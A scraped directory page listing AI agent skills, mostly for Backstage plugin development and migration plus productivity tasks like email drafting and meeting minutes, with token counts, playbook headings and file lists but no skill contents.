Frontmatter
113 tokensAlways available to the agent
SKILL.md
537 tokensWhen the skill is activated
Reference documents
535 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Procedure
- Output template
- Quality gate
Files
SKILL.mdcore2,592 bytesreferences/upstream/catalog-db-performance.mddoc2,387 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubbackstage-core-contribution
When your agent uses it
Prepare, implement, validate, and document contributions to backstage/backstage or a close fork using targeted tests, exact root typechecking, formatting, linting, API reports, changesets, DCO, and Apache headers. Use when changing Backstage core packages, plugins, docs, or contributor workflows.
What it loads into context
Frontmatter
77 tokensAlways available to the agent
SKILL.md
663 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Positive detection
- Procedure
- Prohibited routine commands
- Output template
- Quality gate
Files
SKILL.mdcore2,988 bytesSKILL.mdcore2,988 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubbackstage-external-integrations
When your agent uses it
Configure, secure, and validate Backstage technical integrations with GitHub, Azure and Azure DevOps, and ServiceNow across catalog discovery, events, software templates, CI/CD views, incidents, and provider credentials. Use when setting up or troubleshooting integrations outside user sign-in.
What it loads into context
Frontmatter
72 tokensAlways available to the agent
SKILL.md
615 tokensWhen the skill is activated
Reference documents
1,006 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Provider references
- Procedure
- Output template
- Quality gate
Files
SKILL.mdcore3,013 bytesreferences/azure-devops.mddoc1,786 bytesreferences/github.mddoc1,248 bytesreferences/servicenow.mddoc1,552 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubbackstage-framework
When your agent uses it
Choose and implement Backstage framework extension points, core backend services, frontend blueprints, service refs, modules, lifecycle, auth, permissions, schedulers, tracing, metrics, and generated API references. Use when designing plugin architecture or selecting supported framework APIs.
What it loads into context
Frontmatter
66 tokensAlways available to the agent
SKILL.md
591 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Procedure
- Output template
- Quality gate
- References
Files
SKILL.mdcore2,862 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubbackstage-integrations
When your agent uses it
Apply Backstage external integration conventions for GitHub, Azure DevOps, and ServiceNow. Use when editing provider credentials, discovery, events, scaffolder modules, or entity annotations.
What it loads into context
Frontmatter
94 tokensAlways available to the agent
SKILL.md
638 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Provider Credentials
- Discovery and Actions
- Conventions
- Do / Do Not
- Checklist Before Opening a PR
- References
Files
SKILL.mdcore3,110 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubbackstage-kubernetes
When your agent uses it
Install, configure, authorize, and troubleshoot Backstage Kubernetes frontend and backend plugins, cluster discovery, entity annotations, authentication, permissions, proxies, custom resources, and service-owner views. Use when working with Kubernetes tabs, clusters, pods, or integration errors.
What it loads into context
Frontmatter
68 tokensAlways available to the agent
SKILL.md
588 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Procedure
- Permission surface
- Output template
- Quality gate
- References
Files
SKILL.mdcore2,918 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubbackstage-mcp-actions
When your agent uses it
Register typed Backstage backend actions and expose selected actions as authenticated MCP tools with schemas, attributes, permissions, filters, server instructions, and well-known action validation. Use when configuring the Actions Registry, Actions Service, MCP Actions Backend, or AI tool exposure.
What it loads into context
Frontmatter
69 tokensAlways available to the agent
SKILL.md
687 tokensWhen the skill is activated
Reference documents
384 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Procedure
- Safety
- Output template
- Quality gate
- References
Files
SKILL.mdcore3,353 bytesreferences/well-known-actions.mddoc1,703 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubbackstage-notifications
When your agent uses it
Install, configure, emit, process, route, and troubleshoot Backstage notifications and optional real-time signals. Use when handling user or group notifications, external emitters, email or Slack processors, scaffolder notifications, settings, topics, or delivery failures.
What it loads into context
Frontmatter
65 tokensAlways available to the agent
SKILL.md
583 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Procedure
- Output template
- Quality gate
- References
Files
SKILL.mdcore2,845 bytesSKILL.mdcore2,845 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubbackstage-operations
When your agent uses it
Operate, monitor, troubleshoot, and harden production Backstage services, databases, schedulers, integrations, health endpoints, logs, and deployments. Use when handling startup failures, readiness problems, database errors, provider refresh issues, performance incidents, or production runbooks.
What it loads into context
Frontmatter
69 tokensAlways available to the agent
SKILL.md
613 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Procedure
- Operational evidence
- Output template
- Quality gate
Files
SKILL.mdcore2,989 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubbackstage-permissions
When your agent uses it
Design, implement, test, and troubleshoot Backstage permission policies, basic and resource permissions, conditional decisions, rules, frontend authorization, and plugin integration. Use when implementing RBAC, ABAC, resource filtering, action visibility, or fixing authorization failures.
What it loads into context
Frontmatter
67 tokensAlways available to the agent
SKILL.md
613 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Procedure
- Security criteria
- Output template
- Quality gate
- References
Files
SKILL.mdcore3,039 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubbackstage-plugin-builder
When your agent uses it
Plan, architect, scaffold, validate, and prepare custom Backstage plugins and modules using official Backstage documentation. Use when the user asks for new, legacy, or dual frontend plugins, backend plugins, backend modules, catalog processors, entity providers, scaffolder actions, search collators, auth providers, permission policies, TechDocs addons, common packages, node packages, plugin ADRs, architecture, validation, or community publication preparation.
What it loads into context
Frontmatter
107 tokensAlways available to the agent
SKILL.md
2,223 tokensWhen the skill is activated
Reference documents
3,396 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Inputs
- Prerequisites and context
- Plugin routing
- Standard workflow
- Backstage API rules
- Scripts and commands
- Gotchas
- Progressive disclosure and bundled resources
- Output template
- Quality gate
Scripts executed separately
scripts/create_backstage_plugin_artifacts.pyscripts/test_validate_backstage_plugin.pyscripts/validate_backstage_plugin.pyscripts/validate_official_docs.py
Files
SKILL.mdcore10,699 bytesSKILL.mdcore10,699 bytesSKILL.mdcore10,699 bytesSKILL.mdcore10,699 bytesSKILL.mdcore10,699 bytesSKILL.mdcore10,699 bytesSKILL.mdcore10,699 bytesSKILL.mdcore10,699 bytesSKILL.mdcore10,699 bytesexamples/catalog-info.yamlasset273 bytesexamples/package-json-checklist.mddoc484 bytesexamples/plugin-readme-template.mddoc683 bytesreferences/backend-module.mddoc744 bytesreferences/backend-plugin.mddoc1,064 bytesreferences/catalog-scaffolder-search-auth.mddoc1,158 bytesreferences/community-publication.mddoc1,372 bytesreferences/documentation-validation.mddoc2,549 bytesreferences/dynamic-plugin-strategy.mddoc1,075 bytesreferences/frontend-plugin.mddoc1,257 bytesreferences/official-docs.mddoc2,113 bytesreferences/planning-strategy-adr.mddoc1,406 bytesreferences/plugin-types.mddoc1,662 bytesreferences/validation-hooks.mddoc988 bytesscripts/create_backstage_plugin_artifacts.pyruns7,028 bytesscripts/test_validate_backstage_plugin.pyruns2,142 bytesscripts/validate_backstage_plugin.pyruns5,936 bytesscripts/validate_official_docs.pyruns2,289 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubbackstage-plugins
When your agent uses it
Apply Backstage plugin and module boundaries for frontend, backend, common, node, and extension-point code. Use when editing plugin or Backstage package TypeScript.
What it loads into context
Frontmatter
75 tokensAlways available to the agent
SKILL.md
636 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Frontend and Backend Systems
- Package Design
- Conventions
- Do / Do Not
- Checklist Before Opening a PR
- References
Files
SKILL.mdcore3,061 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubbackstage-search
When your agent uses it
Install, configure, extend, operate, and troubleshoot Backstage Search frontends, engines, collators, indices, result extensions, filters, schedules, and permissions. Use when working with search pages, Catalog or TechDocs indexing, custom collators, Postgres or Elasticsearch, or missing results.
What it loads into context
Frontmatter
74 tokensAlways available to the agent
SKILL.md
632 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Procedure
- Output template
- Quality gate
- References
Files
SKILL.mdcore2,985 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubbackstage-software-templates
When your agent uses it
Design, implement, validate, and troubleshoot Backstage Software Templates, custom actions, Golden Paths, skeleton rendering, repository publication, and catalog registration. Use when working with template.yaml, scaffolder actions, parameters, step outputs, or template execution failures.
What it loads into context
Frontmatter
68 tokensAlways available to the agent
SKILL.md
592 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Procedure
- Failure handling
- Output template
- Quality gate
Files
SKILL.mdcore2,969 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubbackstage-techdocs
When your agent uses it
Configure, build, preview, publish, migrate, and troubleshoot Backstage TechDocs and MkDocs content. Use when handling techdocs-ref annotations, mkdocs.yml, local or external builders, object-storage publishers, CI generation, broken docs, or wiki-to-TechDocs migration.
What it loads into context
Frontmatter
69 tokensAlways available to the agent
SKILL.md
575 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Procedure
- Deployment modes
- Output template
- Quality gate
Files
SKILL.mdcore2,759 bytesSKILL.mdcore2,759 bytesSKILL.mdcore2,759 bytesSKILL.mdcore2,759 bytesSKILL.mdcore2,759 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubbackstage-upgrade
When your agent uses it
Plan, execute, and validate Backstage application or plugin dependency upgrades with release-aware package alignment, migrations, config review, changesets, and rollback. Use when bumping Backstage versions, resolving package skew, adopting new systems, or preparing an upgrade PR.
What it loads into context
Frontmatter
69 tokensAlways available to the agent
SKILL.md
691 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Inputs
- Procedure
- Limits
- Output template
- Quality gate
Files
SKILL.mdcore3,254 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubbackstage-workspace-kit
When your agent uses it
Plan, apply, inspect, or uninstall the Backstage Expert repository workspace kit for adopter or core profiles. Use when publishing bundled instructions, VS Code prompts, and the optional Backstage safety hook into a target repository.
What it loads into context
Frontmatter
65 tokensAlways available to the agent
SKILL.md
736 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Profiles
- Procedure
- Safety
- Output template
- Quality gate
Scripts executed separately
scripts/install_workspace_kit.pyscripts/test_install_workspace_kit.py
Files
SKILL.mdcore3,303 bytesSKILL.mdcore3,303 bytesSKILL.mdcore3,303 bytesSKILL.mdcore3,303 bytesscripts/install_workspace_kit.pyruns15,218 bytesscripts/test_install_workspace_kit.pyruns5,224 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubmui-to-bui-migration
When your agent uses it
Migrate Backstage app or plugin UI from Material-UI to Backstage UI with version-checked component mappings, CSS setup, accessibility, analytics, styling, and visual validation. Use when replacing @material-ui imports, MUI icons, makeStyles, or adopting BUI.
What it loads into context
Frontmatter
124 tokensAlways available to the agent
SKILL.md
576 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Procedure
- Output template
- Quality gate
Files
SKILL.mdcore2,498 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubmui-to-bui-migration
When your agent uses it
Migrate Backstage plugins from Material-UI (MUI) to Backstage UI (BUI). Use this skill when migrating components, updating imports, replacing styling patterns, or converting MUI components to their BUI equivalents.
What it loads into context
Frontmatter
57 tokensAlways available to the agent
SKILL.md
6,569 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Prerequisites
- Available BUI Components
- Migration Patterns
- CSS Variable Reference
- Known Limitations
- Migration Checklist
- Reference
Files
SKILL.mdcore23,879 bytesSKILL.mdcore23,879 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubonboard-to-openapi-server
When your agent uses it
Migrate a Backstage backend plugin from a hand-written Express router to the repository's typed OpenAPI server tooling while preserving routes, auth, permissions, errors, tests, and optional client generation. Use when onboarding createOpenApiRouter or modernizing a router with OpenAPI.
What it loads into context
Frontmatter
122 tokensAlways available to the agent
SKILL.md
627 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Procedure
- Output template
- Quality gate
Files
SKILL.mdcore2,736 bytesSKILL.mdcore2,736 bytesSKILL.mdcore2,736 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubonboard-to-openapi-server
When your agent uses it
Use this skill when the user wants to migrate an existing Backstage backend plugin's hand-written Express router to the typed OpenAPI tooling. Optionally, can also add typed client generation and migrate router tests to the OpenAPI test wrapper.
What it loads into context
Frontmatter
57 tokensAlways available to the agent
SKILL.md
3,576 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Up front: confirm scope with the user
- Prerequisites
- Inputs
- Core workflow
- Optional: generate a typed client
- Optional: migrate router tests to `wrapServer`
- Optional: changesets
- Reference files in the upstream Backstage repo
- Things to refuse / hand back to the user
Files
SKILL.mdcore16,419 bytesSKILL.mdcore16,419 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubplugin-analytics-instrumentation
When your agent uses it
Instrument Backstage frontend plugins with meaningful Analytics API events and tests while avoiding duplicate BUI navigation events or UI noise. Use when adding or reviewing captureEvent, AnalyticsContext, event taxonomy, noTrack overrides, or analytics behavior.
What it loads into context
Frontmatter
112 tokensAlways available to the agent
SKILL.md
533 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Procedure
- Output template
- Quality gate
Files
SKILL.mdcore2,402 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubplugin-analytics-instrumentation
When your agent uses it
Instrument a Backstage frontend plugin with analytics events using the Backstage Analytics API. Use this skill when adding, reviewing, or extending event capture (`captureEvent`, `AnalyticsContext`) in plugin components, deciding whether an interaction warrants an event, or writing tests for analytics behavior.
What it loads into context
Frontmatter
66 tokensAlways available to the agent
SKILL.md
2,382 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Guiding principles
- How to capture an event
- Unit testing event capture
- Review checklist
Files
SKILL.mdcore10,608 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubplugin-full-frontend-system-migration
When your agent uses it
Fully migrate a Backstage frontend plugin to the new frontend system and remove legacy support. Use when performing internal or intentionally breaking migrations from createPlugin to createFrontendPlugin, new route refs, blueprints, PageLayout, and legacy dependency removal.
What it loads into context
Frontmatter
116 tokensAlways available to the agent
SKILL.md
539 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Procedure
- Output template
- Quality gate
Files
SKILL.mdcore2,510 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubplugin-full-frontend-system-migration
When your agent uses it
Fully migrate a Backstage plugin to the new frontend system, dropping all old system support. Use this skill for internal plugins that only need to run in a single app, or when you are ready to remove backward compatibility entirely.
What it loads into context
Frontmatter
57 tokensAlways available to the agent
SKILL.md
4,830 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Key Differences from Dual Support
- Step 1: Migrate Route Refs
- Step 2: Migrate the Plugin Definition
- Step 3: Migrate API Factories to `ApiBlueprint`
- Step 4: Migrate Pages to `PageBlueprint`
- Step 5: Replace Internal Routing with Sub-Pages
- Step 6: Update Hooks and Imports
- Step 7: Remove Old System Code
- Step 8: Update Page Components for BUI
- Real Example: Auth Plugin (Fully Migrated)
- Real Example: Scaffolder Sub-Pages
- Migration Checklist
- Reference
Files
SKILL.mdcore20,916 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubplugin-new-frontend-system-support
When your agent uses it
Add new frontend-system support to an existing Backstage plugin while retaining its legacy entry point. Use when published or shared plugins need dual compatibility, alpha exports, PageBlueprint extensions, route reuse, and both old and new app consumers.
What it loads into context
Frontmatter
113 tokensAlways available to the agent
SKILL.md
546 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Procedure
- Output template
- Quality gate
Files
SKILL.mdcore2,451 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubplugin-new-frontend-system-support
When your agent uses it
Add new frontend system support to an existing Backstage plugin while keeping the old system working. Use this skill for published or shared plugins that need to work in both old and new frontend system apps.
What it loads into context
Frontmatter
50 tokensAlways available to the agent
SKILL.md
4,049 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Key Concepts
- Step 1: Create the Alpha Entry Point
- Step 2: Update `package.json` Exports
- Step 3: Implement the Dual Header Pattern
- Step 4: Migrate APIs to `ApiBlueprint`
- Step 5: Route Refs
- Step 6: Translations
- Real Examples from the Backstage Repo
- Migration Checklist
- Reference
Files
SKILL.mdcore16,594 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubbrag-sheet
When your agent uses it
Turn vague work-history prompts into evidence-backed impact statements for performance reviews, self-reviews, promotion packets, weekly updates, status reports, and accomplishments. Use when the user says "brag", "what did I do", "backfill my work history", "review prep", "what did I ship", "track my wins", or documenting engineering impact from Copilot CLI sessions, git commits, and GitHub PRs.
What it loads into context
Frontmatter
187 tokensAlways available to the agent
SKILL.md
2,128 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Inputs
- Limits
- Modes
- Impact contract
- Evidence ladder
- Categories
- Procedure
- Backfill commands
- Review prep
- Gotchas
- Related primitives
- Work-history terminology
- Output template
- Quality gate
- References
Files
SKILL.mdcore8,669 bytesSKILL.mdcore8,669 bytesSKILL.mdcore8,669 bytesSKILL.mdcore8,669 bytesSKILL.mdcore8,669 bytesSKILL.mdcore8,669 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubdaily-prep
When your agent uses it
Prepare a structured HTML day-prep file for tomorrow or a requested date by pulling Outlook calendar details through WorkIQ, classifying meetings, detecting conflicts and day-fit issues, cross-referencing workspace tasks, finding learning and deep-work slots, and producing productivity recommendations. Use this skill when the user says "prepare me for tomorrow", "prep me for Friday", asks what a date looks like, or requests weekly planning.
What it loads into context
Frontmatter
101 tokensAlways available to the agent
SKILL.md
1,905 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Procedure
- Meeting classification
- Day structure and scoring
- Zone markers and day-fit issues
- Productivity recommendations
- Output template
- Quality gate
Files
SKILL.mdcore8,065 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubemail-drafter
When your agent uses it
Draft and review professional emails that match the user's established writing style by analyzing recipient context, tone, greeting, structure, sign-off, and language patterns when WorkIQ is available, then saving markdown drafts. Use this skill when the user asks to draft email, write email, compose email, reply email, follow-up email, proposal email, analyze email tone, or perform context-aware email review.
What it loads into context
Frontmatter
98 tokensAlways available to the agent
SKILL.md
1,316 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Context gathering
- Tone analysis
- Drafting rules
- Saving drafts
- Procedure
- Gotchas
- Output template
- Quality gate
Files
SKILL.mdcore6,083 bytesSKILL.mdcore6,083 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubexam-ready
When your agent uses it
Prepare a student for an exam from provided study material and syllabus only. Use when the user shares notes, a PDF, or syllabus topics and asks what to study, to explain a topic from notes, prepare with limited time, generate exam-ready definitions, key points, keywords, diagram notes, MCQ tricks, or practice questions.
What it loads into context
Frontmatter
80 tokensAlways available to the agent
SKILL.md
1,172 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Topic extraction rules
- Triage mode
- Handling mismatches and missing material
- Output template
- Quality gate
Files
SKILL.mdcore5,163 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHublinkedin-post-formatter
When your agent uses it
Draft and format LinkedIn posts with Unicode bold, italic, bold-italic, separators, hooks, CTAs, hashtags, and plain-text layouts. Use when the user asks to write a LinkedIn post, convert content into LinkedIn format, create thought leadership copy, prepare carousel text, or use a Unicode typography reference.
What it loads into context
Frontmatter
82 tokensAlways available to the agent
SKILL.md
1,500 tokensWhen the skill is activated
Reference documents
1,302 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- LinkedIn typography
- Structure patterns
- Visual separators and bullets
- Formatting rules
- Procedure
- Progressive disclosure and bundled resources
- Output template
- Quality gate
Files
SKILL.mdcore5,864 bytesSKILL.mdcore5,864 bytesreferences/unicode-charmap.mddoc2,572 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubmeeting-minutes
When your agent uses it
Generate concise, actionable meeting minutes for short internal meetings from notes, transcripts, recordings, or agendas. Use this skill when the user asks for minutes for syncs, standups, design reviews, triage, planning, ad-hoc meetings, decisions, action items, or follow-ups.
What it loads into context
Frontmatter
73 tokensAlways available to the agent
SKILL.md
1,996 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Procedure
- Minutes schema
- Action item rules
- Style rules
- Examples
- Minutes vocabulary
- Output template
- Quality gate
Files
SKILL.mdcore8,066 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubperformance-review-writer
When your agent uses it
Draft self-assessments, peer reviews, 360 reviews, upward feedback, annual reviews, mid-year reviews, and performance appraisals in the user's voice. Use when asked to write or improve review-cycle feedback using WorkIQ evidence, STAR examples, constructive tone, and markdown drafts saved under outputs/<year>/<month>/.
What it loads into context
Frontmatter
84 tokensAlways available to the agent
SKILL.md
1,670 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Prerequisites and context
- Procedure
- Review types and evidence
- Style rules
- Review-cycle vocabulary
- Output template
- Examples
- Limits
- Quality gate
Files
SKILL.mdcore7,491 bytesSKILL.mdcore7,491 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubtechnical-job-search
When your agent uses it
Help software engineers perform active job-search tasks: analyze job descriptions, tailor resumes, write concise cover letters, evaluate offers, and draft interview follow-ups. Use when the user asks to parse a JD, match a CV to a role, write application material, compare compensation, assess offer risk, or prepare post-interview outreach.
What it loads into context
Frontmatter
124 tokensAlways available to the agent
SKILL.md
1,844 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Inputs
- Job description analysis
- Resume and CV tailoring
- Cover letters and follow-up emails
- Offer evaluation
- Gotchas
- Output template
- Quality gate
Files
SKILL.mdcore8,602 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubremember-interactive-programming
When your agent uses it
Remind the agent to work as an interactive programmer against a live system or REPL, using evaluated behavior as the source of truth, explaining hidden evaluations to the human, preferring structural editing, and maintaining a todo list. Use when a user wants REPL-driven programming guidance, especially for Clojure or Backseat Driver workflows.
What it loads into context
Frontmatter
85 tokensAlways available to the agent
SKILL.md
758 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Interactive programming stance
- REPL workflow
- Gotchas
- Output template
- Quality gate
Files
SKILL.mdcore3,712 bytesSKILL.mdcore3,712 bytesSKILL.mdcore3,712 bytesSKILL.mdcore3,712 bytesSKILL.mdcore3,712 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubcontent-management-systems
When your agent uses it
Build and modify content management systems by locating the correct theme, plugin, module, editor, content model, media, render, or export seam before changing code. Use this skill when working on WordPress, Shopify, Wix, Squarespace, Drupal, WooCommerce, Joomla, HubSpot CMS Hub, Webflow, Adobe Experience Manager, headless CMS work, CMS themes, plugins, apps, modules, admin panels, uploads, markdown pipelines, and static export workflows.
What it loads into context
Frontmatter
112 tokensAlways available to the agent
SKILL.md
1,449 tokensWhen the skill is activated
Reference documents
611 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Platform and seam map
- First-pass procedure
- CMS rules
- Common workflows
- Owning seam checklist
- Gotchas
- Progressive disclosure and bundled resources
- Output template
- Quality gate
Files
SKILL.mdcore7,086 bytesSKILL.mdcore7,086 bytesreferences/cms-platform-workflows.mddoc3,314 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubmarkdown-to-html
When your agent uses it
Convert Markdown files to HTML similar to `marked.js`, `pandoc`, `gomarkdown/markdown`, or similar tools; or writing custom script to convert markdown to html and/or working on web template systems like `jekyll/jekyll`, `gohugoio/hugo`, or similar web templating systems that utilize markdown documents, converting them to html. Use when asked to "convert markdown to html", "transform md to html", "render markdown", "generate html from markdown", or when working with .md files and/or web a templating system that converts markdown to HTML output. Supports CLI and Node.js workflows with GFM, CommonMark, and standard Markdown flavors.
What it loads into context
Frontmatter
162 tokensAlways available to the agent
SKILL.md
1,680 tokensWhen the skill is activated
Reference documents
29,528 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Converting Markdown to HTML
- Extended reference
- Progressive disclosure and bundled resources
- Output template
Files
SKILL.mdcore6,451 bytesreferences/basic-markdown-to-html.mddoc4,281 bytesreferences/basic-markdown.mddoc31,402 bytesreferences/code-blocks-to-html.mddoc2,704 bytesreferences/code-blocks.mddoc3,810 bytesreferences/collapsed-sections-to-html.mddoc2,608 bytesreferences/collapsed-sections.mddoc2,787 bytesreferences/extended-guide.mddoc19,927 bytesreferences/gomarkdown.mddoc6,251 bytesreferences/hugo.mddoc7,029 bytesreferences/jekyll.mddoc5,760 bytesreferences/marked.mddoc2,984 bytesreferences/pandoc.mddoc4,123 bytesreferences/tables-to-html.mddoc2,665 bytesreferences/tables.mddoc3,767 bytesreferences/writing-mathematical-expressions-to-html.mddoc6,004 bytesreferences/writing-mathematical-expressions.mddoc4,886 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubquasi-coder
When your agent uses it
Expert 10x engineer skill for interpreting and implementing code from shorthand, quasi-code, and natural language descriptions. Use when collaborators provide incomplete code snippets, pseudo-code, or descriptions with potential typos or incorrect terminology. Excels at translating non-technical or semi-technical descriptions into production-quality code.
What it loads into context
Frontmatter
76 tokensAlways available to the agent
SKILL.md
3,427 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Role
- Understanding Collaborator Expertise Levels
- Compensation Rules
- Shorthand Interpretation
- Implementation principles
- Working with tools and reference files
- Shorthand key
- Variables and markers
- Examples
- Troubleshooting
- Advanced usage
- Core reminder
- Output template
- Quality gate
Files
SKILL.mdcore17,043 bytesSKILL.mdcore17,043 bytesSKILL.mdcore17,043 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubdotnet-design-pattern-review
When your agent uses it
Review C# and .NET code for design pattern quality, SOLID principles, dependency injection, repository/provider abstractions, ResourceManager usage, async practices, testability, and maintainability. Use this skill when asked for a .NET or C# design pattern review, architecture critique, or pattern-focused code review without modifying code.
What it loads into context
Frontmatter
84 tokensAlways available to the agent
SKILL.md
1,276 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- Criteria
- Improvement focus areas
- Output template
- Quality gate
Files
SKILL.mdcore6,383 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubeditorconfig
When your agent uses it
